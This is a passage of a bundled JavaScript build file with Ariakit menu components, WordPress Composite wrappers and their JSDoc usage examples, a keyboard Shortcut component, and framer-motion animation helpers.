11874 };
11875 props = useHovercardAnchor({
11876 store,
11877 focusable,
11878 accessibleWhenDisabled,
11879 ...props,
11880 showOnHover: (event) => {
11881 const getShowOnHover = () => {
11882 if (typeof showOnHover === "function") return showOnHover(event);
11883 if (showOnHover != null) return showOnHover;
11884 if (hasParentMenu) return true;
11885 if (!parentMenubar) return false;
11886 const { items } = parentMenubar.getState();
11887 return parentIsMenubar && hasActiveItem(items);
11888 };
11889 const canShowOnHover = getShowOnHover();
11890 if (!canShowOnHover) return false;
11891 const parent = parentIsMenubar ? parentMenubar : parentMenu;
11892 if (!parent) return true;
11893 parent.setActiveId(event.currentTarget.id);
11894 return true;
11895 }
11896 });
11897 props = usePopoverDisclosure({
11898 store,
11899 toggleOnClick: !hasParentMenu,
11900 focusable,
11901 accessibleWhenDisabled,
11902 ...props
11903 });
11904 props = useCompositeTypeahead({
11905 store,
11906 typeahead: parentIsMenubar,
11907 ...props
11908 });
11909 return props;
11910 }
11911 );
11912 var MenuButton = forwardRef2(function MenuButton2(props) {
11913 const htmlProps = useMenuButton(props);
11914 return createElement(TagName51, htmlProps);
11915 });
11916
11917 // node_modules/@ariakit/react-core/esm/menu/menu-group.js
11918 var TagName52 = "div";
11919 var useMenuGroup = createHook(
11920 function useMenuGroup2(props) {
11921 props = useCompositeGroup(props);
11922 return props;
11923 }
11924 );
11925 var MenuGroup = forwardRef2(function MenuGroup2(props) {
11926 const htmlProps = useMenuGroup(props);
11927 return createElement(TagName52, htmlProps);
11928 });
11929
11930 // node_modules/@ariakit/react-core/esm/menu/menu-group-label.js
11931 var TagName53 = "div";
11932 var useMenuGroupLabel = createHook(
11933 function useMenuGroupLabel2(props) {
11934 props = useCompositeGroupLabel(props);
11935 return props;
11936 }
11937 );
11938 var MenuGroupLabel = forwardRef2(function MenuGroupLabel2(props) {
11939 const htmlProps = useMenuGroupLabel(props);
11940 return createElement(TagName53, htmlProps);
11941 });
11942
11943 // node_modules/@ariakit/react-core/esm/__chunks/MOWGOTGG.js
11944 var TagName54 = "div";
11945 function menuHasFocus(baseElement, items, currentTarget) {
11946 var _a;
11947 if (!baseElement) return false;
11948 if (hasFocusWithin(baseElement)) return true;
11949 const expandedItem = items == null ? void 0 : items.find((item2) => {
11950 var _a2;
11951 if (item2.element === currentTarget) return false;
11952 return ((_a2 = item2.element) == null ? void 0 : _a2.getAttribute("aria-expanded")) === "true";
11953 });
11954 const expandedMenuId = (_a = expandedItem == null ? void 0 : expandedItem.element) == null ? void 0 : _a.getAttribute("aria-controls");
11955 if (!expandedMenuId) return false;
11956 const doc = getDocument(baseElement);
11957 const expandedMenu = doc.getElementById(expandedMenuId);
11958 if (!expandedMenu) return false;
11959 if (hasFocusWithin(expandedMenu)) return true;
11960 return !!expandedMenu.querySelector("[role=menuitem][aria-expanded=true]");
11961 }
11962 var useMenuItem = createHook(
11963 function useMenuItem2({
11964 store,
11965 hideOnClick = true,
11966 preventScrollOnKeyDown = true,
11967 focusOnHover,
11968 blurOnHoverEnd,
11969 ...props
11970 }) {
11971 const menuContext = useMenuScopedContext(true);
11972 const menubarContext = useMenubarScopedContext();
11973 store = store || menuContext || menubarContext;
11974 invariant(
11975 store,
11976 "MenuItem must be wrapped in a MenuList, Menu or Menubar component"
11977 );
11978 const onClickProp = props.onClick;
11979 const hideOnClickProp = useBooleanEvent(hideOnClick);
11980 const hideMenu = "hideAll" in store ? store.hideAll : void 0;
11981 const isWithinMenu = !!hideMenu;
11982 const onClick = useEvent((event) => {
11983 onClickProp == null ? void 0 : onClickProp(event);
11984 if (event.defaultPrevented) return;
11985 if (isDownloading(event)) return;
11986 if (isOpeningInNewTab(event)) return;
11987 if (!hideMenu) return;
11988 const popupType = event.currentTarget.getAttribute("aria-haspopup");
11989 if (popupType === "menu") return;
11990 if (!hideOnClickProp(event)) return;
11991 hideMenu();
11992 });
11993 const contentElement = useStoreState(
11994 store,
11995 (state) => "contentElement" in state ? state.contentElement : null
11996 );
11997 const role = getPopupItemRole(contentElement, "menuitem");
11998 props = {
11999 role,
12000 ...props,
12001 onClick
12002 };
12003 props = useCompositeItem({
12004 store,
12005 preventScrollOnKeyDown,
12006 ...props
12007 });
12008 props = useCompositeHover({
12009 store,
12010 ...props,
12011 focusOnHover(event) {
12012 const getFocusOnHover = () => {
12013 if (typeof focusOnHover === "function") return focusOnHover(event);
12014 if (focusOnHover != null) return focusOnHover;
12015 return true;
12016 };
12017 if (!store) return false;
12018 if (!getFocusOnHover()) return false;
12019 const { baseElement, items } = store.getState();
12020 if (isWithinMenu) {
12021 if (event.currentTarget.hasAttribute("aria-expanded")) {
12022 event.currentTarget.focus();
12023 }
12024 return true;
12025 }
12026 if (menuHasFocus(baseElement, items, event.currentTarget)) {
12027 event.currentTarget.focus();
12028 return true;
12029 }
12030 return false;
12031 },
12032 blurOnHoverEnd(event) {
12033 if (typeof blurOnHoverEnd === "function") return blurOnHoverEnd(event);
12034 if (blurOnHoverEnd != null) return blurOnHoverEnd;
12035 return isWithinMenu;
12036 }
12037 });
12038 return props;
12039 }
12040 );
12041 var MenuItem = memo2(
12042 forwardRef2(function MenuItem2(props) {
12043 const htmlProps = useMenuItem(props);
12044 return createElement(TagName54, htmlProps);
12045 })
12046 );
12047
12048 // node_modules/@ariakit/react-core/esm/menu/menu-item-check.js
12049 var import_react54 = __toESM(require_react(), 1);
12050 var TagName55 = "span";
12051 var useMenuItemCheck = createHook(
12052 function useMenuItemCheck2({ store, checked, ...props }) {
12053 const context = (0, import_react54.useContext)(MenuItemCheckedContext2);
12054 checked = checked != null ? checked : context;
12055 props = useCheckboxCheck({ ...props, checked });
12056 return props;
12057 }
12058 );
12059 var MenuItemCheck = forwardRef2(function MenuItemCheck2(props) {
12060 const htmlProps = useMenuItemCheck(props);
12061 return createElement(TagName55, htmlProps);
12062 });
12063
12064 // node_modules/@ariakit/react-core/esm/menu/menu-item-checkbox.js
12065 var import_react55 = __toESM(require_react(), 1);
12066 var TagName56 = "div";
12067 function getPrimitiveValue2(value) {
12068 if (Array.isArray(value)) {
12069 return value.toString();
12070 }
12071 return value;
12072 }
12073 function getValue(storeValue, value, checked) {
12074 if (value === void 0) {
12075 if (Array.isArray(storeValue)) return storeValue;
12076 return !!checked;
12077 }
12078 const primitiveValue = getPrimitiveValue2(value);
12079 if (!Array.isArray(storeValue)) {
12080 if (checked) {
12081 return primitiveValue;
12082 }
12083 return storeValue === primitiveValue ? false : storeValue;
12084 }
12085 if (checked) {
12086 if (storeValue.includes(primitiveValue)) {
12087 return storeValue;
12088 }
12089 return [...storeValue, primitiveValue];
12090 }
12091 return storeValue.filter((v3) => v3 !== primitiveValue);
12092 }
12093 var useMenuItemCheckbox = createHook(
12094 function useMenuItemCheckbox2({
12095 store,
12096 name,
12097 value,
12098 checked,
12099 defaultChecked: defaultCheckedProp,
12100 hideOnClick = false,
12101 ...props
12102 }) {
12103 const context = useMenuScopedContext();
12104 store = store || context;
12105 invariant(
12106 store,
12107 "MenuItemCheckbox must be wrapped in a MenuList or Menu component"
12108 );
12109 const defaultChecked = useInitialValue(defaultCheckedProp);
12110 (0, import_react55.useEffect)(() => {
12111 store == null ? void 0 : store.setValue(name, (prevValue = []) => {
12112 if (!defaultChecked) return prevValue;
12113 return getValue(prevValue, value, true);
12114 });
12115 }, [store, name, value, defaultChecked]);
12116 (0, import_react55.useEffect)(() => {
12117 if (checked === void 0) return;
12118 store == null ? void 0 : store.setValue(name, (prevValue) => {
12119 return getValue(prevValue, value, checked);
12120 });
12121 }, [store, name, value, checked]);
12122 const checkboxStore = useCheckboxStore({
12123 value: store.useState((state) => state.values[name]),
12124 setValue(internalValue) {
12125 store == null ? void 0 : store.setValue(name, () => {
12126 if (checked === void 0) return internalValue;
12127 const nextValue = getValue(internalValue, value, checked);
12128 if (!Array.isArray(nextValue)) return nextValue;
12129 if (!Array.isArray(internalValue)) return nextValue;
12130 if (shallowEqual(internalValue, nextValue)) return internalValue;
12131 return nextValue;
12132 });
12133 }
12134 });
12135 props = {
12136 role: "menuitemcheckbox",
12137 ...props
12138 };
12139 props = useCheckbox({
12140 store: checkboxStore,
12141 name,
12142 value,
12143 checked,
12144 ...props
12145 });
12146 props = useMenuItem({ store, hideOnClick, ...props });
12147 return props;
12148 }
12149 );
12150 var MenuItemCheckbox = memo2(
12151 forwardRef2(function MenuItemCheckbox2(props) {
12152 const htmlProps = useMenuItemCheckbox(props);
12153 return createElement(TagName56, htmlProps);
12154 })
12155 );
12156
12157 // node_modules/@ariakit/react-core/esm/menu/menu-item-radio.js
12158 var import_react56 = __toESM(require_react(), 1);
12159 var import_jsx_runtime30 = __toESM(require_jsx_runtime(), 1);
12160 var TagName57 = "div";
12161 function getValue2(prevValue, value, checked) {
12162 if (checked === void 0) return prevValue;
12163 if (checked) return value;
12164 return prevValue;
12165 }
12166 var useMenuItemRadio = createHook(
12167 function useMenuItemRadio2({
12168 store,
12169 name,
12170 value,
12171 checked,
12172 onChange: onChangeProp,
12173 hideOnClick = false,
12174 ...props
12175 }) {
12176 const context = useMenuScopedContext();
12177 store = store || context;
12178 invariant(
12179 store,
12180 "MenuItemRadio must be wrapped in a MenuList or Menu component"
12181 );
12182 const defaultChecked = useInitialValue(props.defaultChecked);
12183 (0, import_react56.useEffect)(() => {
12184 store == null ? void 0 : store.setValue(name, (prevValue = false) => {
12185 return getValue2(prevValue, value, defaultChecked);
12186 });
12187 }, [store, name, value, defaultChecked]);
12188 (0, import_react56.useEffect)(() => {
12189 if (checked === void 0) return;
12190 store == null ? void 0 : store.setValue(name, (prevValue) => {
12191 return getValue2(prevValue, value, checked);
12192 });
12193 }, [store, name, value, checked]);
12194 const isChecked = store.useState((state) => state.values[name] === value);
12195 props = useWrapElement(
12196 props,
12197 (element) => /* @__PURE__ */ (0, import_jsx_runtime30.jsx)(MenuItemCheckedContext2.Provider, { value: !!isChecked, children: element }),
12198 [isChecked]
12199 );
12200 props = {
12201 role: "menuitemradio",
12202 ...props
12203 };
12204 props = useRadio({
12205 name,
12206 value,
12207 checked: isChecked,
12208 onChange(event) {
12209 onChangeProp == null ? void 0 : onChangeProp(event);
12210 if (event.defaultPrevented) return;
12211 const element = event.currentTarget;
12212 store == null ? void 0 : store.setValue(name, (prevValue) => {
12213 return getValue2(prevValue, value, checked != null ? checked : element.checked);
12214 });
12215 },
12216 ...props
12217 });
12218 props = useMenuItem({ store, hideOnClick, ...props });
12219 return props;
12220 }
12221 );
12222 var MenuItemRadio = memo2(
12223 forwardRef2(function MenuItemRadio2(props) {
12224 const htmlProps = useMenuItemRadio(props);
12225 return createElement(TagName57, htmlProps);
12226 })
12227 );
12228
12229 // node_modules/@ariakit/core/esm/menu/menu-store.js
12230 function createMenuStore({
12231 combobox,
12232 parent,
12233 menubar: menubar2,
12234 ...props
12235 } = {}) {
12236 const parentIsMenubar = !!menubar2 && !parent;
12237 const store = mergeStore(
12238 props.store,
12239 pick2(parent, ["values"]),
12240 omit2(combobox, [
12241 "arrowElement",
12242 "anchorElement",
12243 "contentElement",
12244 "popoverElement",
12245 "disclosureElement"
12246 ])
12247 );
12248 throwOnConflictingProps(props, store);
12249 const syncState = store.getState();
12250 const composite = createCompositeStore({
12251 ...props,
12252 store,
12253 orientation: defaultValue(
12254 props.orientation,
12255 syncState.orientation,
12256 "vertical"
12257 )
12258 });
12259 const hovercard = createHovercardStore({
12260 ...props,
12261 store,
12262 placement: defaultValue(
12263 props.placement,
12264 syncState.placement,
12265 "bottom-start"
12266 ),
12267 timeout: defaultValue(
12268 props.timeout,
12269 syncState.timeout,
12270 parentIsMenubar ? 0 : 150
12271 ),
12272 hideTimeout: defaultValue(props.hideTimeout, syncState.hideTimeout, 0)
12273 });
12274 const initialState = {
12275 ...composite.getState(),
12276 ...hovercard.getState(),
12277 initialFocus: defaultValue(syncState.initialFocus, "container"),
12278 values: defaultValue(
12279 props.values,
12280 syncState.values,
12281 props.defaultValues,
12282 {}
12283 )
12284 };
12285 const menu2 = createStore(initialState, composite, hovercard, store);
12286 setup(
12287 menu2,
12288 () => sync(menu2, ["mounted"], (state) => {
12289 if (state.mounted) return;
12290 menu2.setState("activeId", null);
12291 })
12292 );
12293 setup(
12294 menu2,
12295 () => sync(parent, ["orientation"], (state) => {
12296 menu2.setState(
12297 "placement",
12298 state.orientation === "vertical" ? "right-start" : "bottom-start"
12299 );
12300 })
12301 );
12302 return {
12303 ...composite,
12304 ...hovercard,
12305 ...menu2,
12306 combobox,
12307 parent,
12308 menubar: menubar2,
12309 hideAll: () => {
12310 hovercard.hide();
12311 parent == null ? void 0 : parent.hideAll();
12312 },
12313 setInitialFocus: (value) => menu2.setState("initialFocus", value),
12314 setValues: (values) => menu2.setState("values", values),
12315 setValue: (name, value) => {
12316 if (name === "__proto__") return;
12317 if (name === "constructor") return;
12318 if (Array.isArray(name)) return;
12319 menu2.setState("values", (values) => {
12320 const prevValue = values[name];
12321 const nextValue = applyState(value, prevValue);
12322 if (nextValue === prevValue) return values;
12323 return {
12324 ...values,
12325 [name]: nextValue !== void 0 && nextValue
12326 };
12327 });
12328 }
12329 };
12330 }
12331
12332 // node_modules/@ariakit/react-core/esm/__chunks/62CEUOYM.js
12333 function useMenuStoreProps(store, update, props) {
12334 useUpdateEffect(update, [props.combobox, props.parent, props.menubar]);
12335 useStoreProps(store, props, "values", "setValues");
12336 return Object.assign(
12337 useHovercardStoreProps(
12338 useCompositeStoreProps(store, update, props),
12339 update,
12340 props
12341 ),
12342 {
12343 combobox: props.combobox,
12344 parent: props.parent,
12345 menubar: props.menubar
12346 }
12347 );
12348 }
12349 function useMenuStore(props = {}) {
12350 const parent = useMenuContext();
12351 const menubar2 = useMenubarContext();
12352 const combobox = useComboboxProviderContext();
12353 props = {
12354 ...props,
12355 parent: props.parent !== void 0 ? props.parent : parent,
12356 menubar: props.menubar !== void 0 ? props.menubar : menubar2,
12357 combobox: props.combobox !== void 0 ? props.combobox : combobox
12358 };
12359 const [store, update] = useStore(createMenuStore, props);
12360 return useMenuStoreProps(store, update, props);
12361 }
12362
12363 // node_modules/@ariakit/react-core/esm/menu/menu-separator.js
12364 var TagName58 = "hr";
12365 var useMenuSeparator = createHook(
12366 function useMenuSeparator2({ store, ...props }) {
12367 const context = useMenuContext();
12368 store = store || context;
12369 props = useCompositeSeparator({ store, ...props });
12370 return props;
12371 }
12372 );
12373 var MenuSeparator = forwardRef2(function MenuSeparator2(props) {
12374 const htmlProps = useMenuSeparator(props);
12375 return createElement(TagName58, htmlProps);
12376 });
12377
12378 // packages/components/build-module/composite/index.mjs
12379 var import_i18n = __toESM(require_i18n(), 1);
12380 var import_element8 = __toESM(require_element(), 1);
12381
12382 // packages/components/build-module/composite/context.mjs
12383 var import_element = __toESM(require_element(), 1);
12384 var CompositeContext = (0, import_element.createContext)({});
12385 CompositeContext.displayName = "CompositeContext";
12386 var useCompositeContext2 = () => (0, import_element.useContext)(CompositeContext);
12387
12388 // packages/components/build-module/composite/group.mjs
12389 var import_element2 = __toESM(require_element(), 1);
12390 var import_jsx_runtime31 = __toESM(require_jsx_runtime(), 1);
12391 var CompositeGroup22 = (0, import_element2.forwardRef)(function CompositeGroup3(props, ref) {
12392 const context = useCompositeContext2();
12393 const store = props.store ?? context.store;
12394 return /* @__PURE__ */ (0, import_jsx_runtime31.jsx)(CompositeGroup, {
12395 store,
12396 ...props,
12397 ref
12398 });
12399 });
12400
12401 // packages/components/build-module/composite/group-label.mjs
12402 var import_element3 = __toESM(require_element(), 1);
12403 var import_jsx_runtime32 = __toESM(require_jsx_runtime(), 1);
12404 var CompositeGroupLabel22 = (0, import_element3.forwardRef)(function CompositeGroupLabel3(props, ref) {
12405 const context = useCompositeContext2();
12406 const store = props.store ?? context.store;
12407 return /* @__PURE__ */ (0, import_jsx_runtime32.jsx)(CompositeGroupLabel, {
12408 store,
12409 ...props,
12410 ref
12411 });
12412 });
12413
12414 // packages/components/build-module/composite/hover.mjs
12415 var import_element4 = __toESM(require_element(), 1);
12416 var import_jsx_runtime33 = __toESM(require_jsx_runtime(), 1);
12417 var CompositeHover22 = (0, import_element4.forwardRef)(function CompositeHover3(props, ref) {
12418 const context = useCompositeContext2();
12419 const store = props.store ?? context.store;
12420 return /* @__PURE__ */ (0, import_jsx_runtime33.jsx)(CompositeHover, {
12421 store,
12422 ...props,
12423 ref
12424 });
12425 });
12426
12427 // packages/components/build-module/composite/item.mjs
12428 var import_element5 = __toESM(require_element(), 1);
12429 var import_jsx_runtime34 = __toESM(require_jsx_runtime(), 1);
12430 var CompositeItem22 = (0, import_element5.forwardRef)(function CompositeItem3(props, ref) {
12431 const context = useCompositeContext2();
12432 const store = props.store ?? context.store;
12433 return /* @__PURE__ */ (0, import_jsx_runtime34.jsx)(CompositeItem, {
12434 store,
12435 ...props,
12436 ref
12437 });
12438 });
12439
12440 // packages/components/build-module/composite/row.mjs
12441 var import_element6 = __toESM(require_element(), 1);
12442 var import_jsx_runtime35 = __toESM(require_jsx_runtime(), 1);
12443 var CompositeRow22 = (0, import_element6.forwardRef)(function CompositeRow3(props, ref) {
12444 const context = useCompositeContext2();
12445 const store = props.store ?? context.store;
12446 return /* @__PURE__ */ (0, import_jsx_runtime35.jsx)(CompositeRow, {
12447 store,
12448 ...props,
12449 ref
12450 });
12451 });
12452
12453 // packages/components/build-module/composite/typeahead.mjs
12454 var import_element7 = __toESM(require_element(), 1);
12455 var import_jsx_runtime36 = __toESM(require_jsx_runtime(), 1);
12456 var CompositeTypeahead22 = (0, import_element7.forwardRef)(function CompositeTypeahead3(props, ref) {
12457 const context = useCompositeContext2();
12458 const store = props.store ?? context.store;
12459 return /* @__PURE__ */ (0, import_jsx_runtime36.jsx)(CompositeTypeahead, {
12460 store,
12461 ...props,
12462 ref
12463 });
12464 });
12465
12466 // packages/components/build-module/composite/index.mjs
12467 var import_jsx_runtime37 = __toESM(require_jsx_runtime(), 1);
12468 var Composite22 = Object.assign((0, import_element8.forwardRef)(function Composite3({
12469 // Composite store props
12470 activeId,
12471 defaultActiveId,
12472 setActiveId,
12473 focusLoop = false,
12474 focusWrap = false,
12475 focusShift = false,
12476 virtualFocus = false,
12477 orientation = "both",
12478 rtl: rtl2 = (0, import_i18n.isRTL)(),
12479 // Composite component props
12480 children,
12481 disabled = false,
12482 // Rest props
12483 ...props
12484 }, ref) {
12485 const storeProp = props.store;
12486 const internalStore = useCompositeStore({
12487 activeId,
12488 defaultActiveId,
12489 setActiveId,
12490 focusLoop,
12491 focusWrap,
12492 focusShift,
12493 virtualFocus,
12494 orientation,
12495 rtl: rtl2
12496 });
12497 const store = storeProp ?? internalStore;
12498 const contextValue = (0, import_element8.useMemo)(() => ({
12499 store
12500 }), [store]);
12501 return /* @__PURE__ */ (0, import_jsx_runtime37.jsx)(Composite, {
12502 disabled,
12503 store,
12504 ...props,
12505 ref,
12506 children: /* @__PURE__ */ (0, import_jsx_runtime37.jsx)(CompositeContext.Provider, {
12507 value: contextValue,
12508 children
12509 })
12510 });
12511 }), {
12512 /**
12513 * Renders a group element for composite items.
12514 *
12515 * @example
12516 * ```jsx
12517 * import { Composite } from '@wordpress/components';
12518 *
12519 * <Composite>
12520 * <Composite.Group>
12521 * <Composite.GroupLabel>Label</Composite.GroupLabel>
12522 * <Composite.Item>Item 1</Composite.Item>
12523 * <Composite.Item>Item 2</Composite.Item>
12524 * </CompositeGroup>
12525 * </Composite>
12526 * ```
12527 */
12528 Group: Object.assign(CompositeGroup22, {
12529 displayName: "Composite.Group"
12530 }),
12531 /**
12532 * Renders a label in a composite group. This component must be wrapped with
12533 * `Composite.Group` so the `aria-labelledby` prop is properly set on the
12534 * composite group element.
12535 *
12536 * @example
12537 * ```jsx
12538 * import { Composite } from '@wordpress/components';
12539 *
12540 * <Composite>
12541 * <Composite.Group>
12542 * <Composite.GroupLabel>Label</Composite.GroupLabel>
12543 * <Composite.Item>Item 1</Composite.Item>
12544 * <Composite.Item>Item 2</Composite.Item>
12545 * </CompositeGroup>
12546 * </Composite>
12547 * ```
12548 */
12549 GroupLabel: Object.assign(CompositeGroupLabel22, {
12550 displayName: "Composite.GroupLabel"
12551 }),
12552 /**
12553 * Renders a composite item.
12554 *
12555 * @example
12556 * ```jsx
12557 * import { Composite } from '@wordpress/components';
12558 *
12559 * <Composite>
12560 * <Composite.Item>Item 1</Composite.Item>
12561 * <Composite.Item>Item 2</Composite.Item>
12562 * <Composite.Item>Item 3</Composite.Item>
12563 * </Composite>
12564 * ```
12565 */
12566 Item: Object.assign(CompositeItem22, {
12567 displayName: "Composite.Item"
12568 }),
12569 /**
12570 * Renders a composite row. Wrapping `Composite.Item` elements within
12571 * `Composite.Row` will create a two-dimensional composite widget, such as a
12572 * grid.
12573 *
12574 * @example
12575 * ```jsx
12576 * import { Composite } from '@wordpress/components';
12577 *
12578 * <Composite>
12579 * <Composite.Row>
12580 * <Composite.Item>Item 1.1</Composite.Item>
12581 * <Composite.Item>Item 1.2</Composite.Item>
12582 * <Composite.Item>Item 1.3</Composite.Item>
12583 * </Composite.Row>
12584 * <Composite.Row>
12585 * <Composite.Item>Item 2.1</Composite.Item>
12586 * <Composite.Item>Item 2.2</Composite.Item>
12587 * <Composite.Item>Item 2.3</Composite.Item>
12588 * </Composite.Row>
12589 * </Composite>
12590 * ```
12591 */
12592 Row: Object.assign(CompositeRow22, {
12593 displayName: "Composite.Row"
12594 }),
12595 /**
12596 * Renders an element in a composite widget that receives focus on mouse move
12597 * and loses focus to the composite base element on mouse leave. This should
12598 * be combined with the `Composite.Item` component.
12599 *
12600 * @example
12601 * ```jsx
12602 * import { Composite } from '@wordpress/components';
12603 *
12604 * <Composite>
12605 * <Composite.Hover render={ <Composite.Item /> }>
12606 * Item 1
12607 * </Composite.Hover>
12608 * <Composite.Hover render={ <Composite.Item /> }>
12609 * Item 2
12610 * </Composite.Hover>
12611 * </Composite>
12612 * ```
12613 */
12614 Hover: Object.assign(CompositeHover22, {
12615 displayName: "Composite.Hover"
12616 }),
12617 /**
12618 * Renders a component that adds typeahead functionality to composite
12619 * components. Hitting printable character keys will move focus to the next
12620 * composite item that begins with the input characters.
12621 *
12622 * @example
12623 * ```jsx
12624 * import { Composite } from '@wordpress/components';
12625 *
12626 * <Composite render={ <CompositeTypeahead /> }>
12627 * <Composite.Item>Item 1</Composite.Item>
12628 * <Composite.Item>Item 2</Composite.Item>
12629 * </Composite>
12630 * ```
12631 */
12632 Typeahead: Object.assign(CompositeTypeahead22, {
12633 displayName: "Composite.Typeahead"
12634 }),
12635 /**
12636 * The React context used by the composite components. It can be used by
12637 * to access the composite store, and to forward the context when composite
12638 * sub-components are rendered across portals (ie. `SlotFill` components)
12639 * that would not otherwise forward the context to the `Fill` children.
12640 *
12641 * @example
12642 * ```jsx
12643 * import { Composite } from '@wordpress/components';
12644 * import { useContext } from '@wordpress/element';
12645 *
12646 * const compositeContext = useContext( Composite.Context );
12647 * ```
12648 */
12649 Context: Object.assign(CompositeContext, {
12650 displayName: "Composite.Context"
12651 })
12652 });
12653
12654 // packages/components/build-module/tooltip/index.mjs
12655 var import_compose = __toESM(require_compose(), 1);
12656 var import_element14 = __toESM(require_element(), 1);
12657 var import_deprecated = __toESM(require_deprecated(), 1);
12658
12659 // packages/components/build-module/shortcut/index.mjs
12660 var import_jsx_runtime38 = __toESM(require_jsx_runtime(), 1);
12661 function Shortcut(props) {
12662 const {
12663 shortcut,
12664 className: className2
12665 } = props;
12666 if (!shortcut) {
12667 return null;
12668 }
12669 let displayText;
12670 let ariaLabel;
12671 if (typeof shortcut === "string") {
12672 displayText = shortcut;
12673 }
12674 if (shortcut !== null && typeof shortcut === "object") {
12675 displayText = shortcut.display;
12676 ariaLabel = shortcut.ariaLabel;
12677 }
12678 return /* @__PURE__ */ (0, import_jsx_runtime38.jsx)("span", {
12679 className: className2,
12680 "aria-label": ariaLabel,
12681 children: displayText
12682 });
12683 }
12684 var shortcut_default = Shortcut;
12685
12686 // packages/components/node_modules/framer-motion/dist/es/utils/warn-once.mjs
12687 var warned = /* @__PURE__ */ new Set();
12688 function warnOnce(condition, message2, element) {
12689 if (condition || warned.has(message2))
12690 return;
12691 console.warn(message2);
12692 if (element)
12693 console.warn(element);
12694 warned.add(message2);
12695 }
12696
12697 // packages/components/node_modules/framer-motion/dist/es/render/components/create-proxy.mjs
12698 function createDOMMotionComponentProxy(componentFactory) {
12699 if (typeof Proxy === "undefined") {
12700 return componentFactory;
12701 }
12702 const componentCache = /* @__PURE__ */ new Map();
12703 const deprecatedFactoryFunction = (...args) => {
12704 if (true) {
12705 warnOnce(false, "motion() is deprecated. Use motion.create() instead.");
12706 }
12707 return componentFactory(...args);
12708 };
12709 return new Proxy(deprecatedFactoryFunction, {
12710 /**
12711 * Called when `motion` is referenced with a prop: `motion.div`, `motion.input` etc.
12712 * The prop name is passed through as `key` and we can use that to generate a `motion`
12713 * DOM component with that name.
12714 */
12715 get: (_target, key) => {
12716 if (key === "create")
12717 return componentFactory;
12718 if (!componentCache.has(key)) {
12719 componentCache.set(key, componentFactory(key));
12720 }
12721 return componentCache.get(key);
12722 }
12723 });
12724 }
12725
12726 // packages/components/node_modules/framer-motion/dist/es/animation/utils/is-animation-controls.mjs
12727 function isAnimationControls(v3) {
12728 return v3 !== null && typeof v3 === "object" && typeof v3.start === "function";
12729 }
12730
12731 // packages/components/node_modules/framer-motion/dist/es/animation/utils/is-keyframes-target.mjs
12732 var isKeyframesTarget = (v3) => {
12733 return Array.isArray(v3);
12734 };
12735
12736 // packages/components/node_modules/framer-motion/dist/es/utils/shallow-compare.mjs
12737 function shallowCompare(next2, prev2) {
12738 if (!Array.isArray(prev2))
12739 return false;
12740 const prevLength = prev2.length;
12741 if (prevLength !== next2.length)
12742 return false;
12743 for (let i3 = 0; i3 < prevLength; i3++) {
12744 if (prev2[i3] !== next2[i3])
12745 return false;
12746 }
12747 return true;
12748 }
12749
12750 // packages/components/node_modules/framer-motion/dist/es/render/utils/is-variant-label.mjs
12751 function isVariantLabel(v3) {
12752 return typeof v3 === "string" || Array.isArray(v3);
12753 }
12754
12755 // packages/components/node_modules/framer-motion/dist/es/render/utils/resolve-variants.mjs
12756 function getValueState(visualElement) {
12757 const state = [{}, {}];
12758 visualElement === null || visualElement === void 0 ? void 0 : visualElement.values.forEach((value, key) => {
12759 state[0][key] = value.get();
12760 state[1][key] = value.getVelocity();
12761 });
12762 return state;
12763 }
12764 function resolveVariantFromProps(props, definition, custom, visualElement) {
12765 if (typeof definition === "function") {
12766 const [current, velocity] = getValueState(visualElement);
12767 definition = definition(custom !== void 0 ? custom : props.custom, current, velocity);
12768 }
12769 if (typeof definition === "string") {
12770 definition = props.variants && props.variants[definition];
12771 }
12772 if (typeof definition === "function") {
12773 const [current, velocity] = getValueState(visualElement);
12774 definition = definition(custom !== void 0 ? custom : props.custom, current, velocity);
12775 }
12776 return definition;
12777 }
12778
12779 // packages/components/node_modules/framer-motion/dist/es/render/utils/resolve-dynamic-variants.mjs
12780 function resolveVariant(visualElement, definition, custom) {
12781 const props = visualElement.getProps();
12782 return resolveVariantFromProps(props, definition, custom !== void 0 ? custom : props.custom, visualElement);
12783 }
12784
12785 // packages/components/node_modules/framer-motion/dist/es/render/utils/variant-props.mjs
12786 var variantPriorityOrder = [
12787 "animate",
12788 "whileInView",
12789 "whileFocus",
12790 "whileHover",
12791 "whileTap",
12792 "whileDrag",
12793 "exit"
12794 ];
12795 var variantProps = ["initial", ...variantPriorityOrder];
12796
12797 // packages/components/node_modules/framer-motion/dist/es/render/html/utils/transform.mjs
12798 var transformPropOrder = [
12799 "transformPerspective",
12800 "x",
12801 "y",
12802 "z",
12803 "translateX",
12804 "translateY",
12805 "translateZ",
12806 "scale",
12807 "scaleX",
12808 "scaleY",
12809 "rotate",
12810 "rotateX",
12811 "rotateY",
12812 "rotateZ",
12813 "skew",
12814 "skewX",
12815 "skewY"
12816 ];
12817 var transformProps = new Set(transformPropOrder);
12818
12819 // packages/components/node_modules/framer-motion/dist/es/utils/time-conversion.mjs
12820 var secondsToMilliseconds = (seconds) => seconds * 1e3;
12821 var millisecondsToSeconds = (milliseconds) => milliseconds / 1e3;
12822
12823 // packages/components/node_modules/framer-motion/dist/es/animation/utils/default-transitions.mjs
12824 var underDampedSpring = {
12825 type: "spring",
12826 stiffness: 500,
12827 damping: 25,
12828 restSpeed: 10
12829 };
12830 var criticallyDampedSpring = (target) => ({
12831 type: "spring",
12832 stiffness: 550,
12833 damping: target === 0 ? 2 * Math.sqrt(550) : 30,
12834 restSpeed: 10
12835 });
12836 var keyframesTransition = {
12837 type: "keyframes",
12838 duration: 0.8
12839 };
12840 var ease = {
12841 type: "keyframes",
12842 ease: [0.25, 0.1, 0.35, 1],
12843 duration: 0.3
12844 };
12845 var getDefaultTransition = (valueKey, { keyframes: keyframes4 }) => {
12846 if (keyframes4.length > 2) {
12847 return keyframesTransition;
12848 } else if (transformProps.has(valueKey)) {
12849 return valueKey.startsWith("scale") ? criticallyDampedSpring(keyframes4[1]) : underDampedSpring;
12850 }
12851 return ease;
12852 };
12853
12854 // packages/components/node_modules/framer-motion/dist/es/animation/utils/get-value-transition.mjs
12855 function getValueTransition(transition, key) {
12856 return transition ? transition[key] || transition["default"] || transition : void 0;
12857 }
12858
12859 // packages/components/node_modules/framer-motion/dist/es/utils/GlobalConfig.mjs
12860 var MotionGlobalConfig = {
12861 skipAnimations: false,
12862 useManualTiming: false
12863 };
12864
12865 // packages/components/node_modules/framer-motion/dist/es/utils/use-instant-transition-state.mjs
12866 var instantAnimationState = {
12867 current: false
12868 };
12869
12870 // packages/components/node_modules/framer-motion/dist/es/animation/animators/waapi/utils/get-final-keyframe.mjs
